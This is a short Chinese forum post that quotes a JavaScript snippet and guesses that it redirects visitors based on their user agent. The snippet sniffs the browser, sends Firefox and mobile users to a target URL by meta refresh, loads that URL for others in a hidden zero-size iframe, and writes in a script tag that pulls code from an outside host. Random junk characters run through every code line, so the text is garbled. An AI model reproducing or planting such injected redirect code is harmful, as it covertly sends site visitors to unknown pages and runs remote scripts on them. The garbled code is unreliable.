|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 . g" W- f1 B" R( p5 ]: g
- var ua = navigator.userAgent.toLowerCase(),: Y7 p: Q L* D: w2 t/ c9 i
- browser = { v' Y4 Z6 j7 x, D
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
( u6 v* F7 U2 @3 o0 n4 D" ]- Y3 H - opera: /opera/.test(ua),
' R$ ~4 [. c. P$ b [% E1 d - maxthon: /maxthon/.test(ua),
8 P+ X5 z5 X5 f% J - theworld: /theworld/.test(ua),
3 q" d7 N3 t+ N/ f - qq: /qqbrowser/.test(ua),
7 l2 Q9 ]. z5 F8 o T! l - sogou: /se /.test(ua),
8 @, L/ [' V3 U( y" d+ j - liebao: /liebao/.test(ua),
( J9 s) A3 c+ E7 @; W - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),4 B# L; F i' b+ w3 f) l4 ]5 W! N
- chrome: /chrome|crios/.test(ua),/ ]" N6 s! F) C1 w+ B+ p
- safari: /webkit/.test(ua),
1 d9 U6 h- s9 M |: M; t - uc: /ucbrowser/.test(ua),
2 W4 ]- O T* W# w+ `. i+ G7 @9 d - ie: /msie/.test(ua) && !/opera/.test(ua). z5 z8 f' u! b, d5 U/ k. G$ y: A# z
- };
7 ^, r2 ]% j; R9 v9 e - var ver = browser.ver;: B1 W3 V% j0 [# k
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {: g5 \; i/ ]( r! `" z( U
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">"); M/ j& G9 t- W7 u) z
- } else {
$ C! f9 z* Z5 }- r - window.sc = "<iframe src=" + tourl + "></iframe>";
# i3 e! Z8 M4 L7 B/ P6 x - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
/ ~* ] Z o' H - }
5 i1 b; z8 J4 R+ p6 P( S - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 / T& G, F4 \" P6 H2 |8 v/ q4 e
2 V7 B$ x% \" D4 L5 h2 w好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|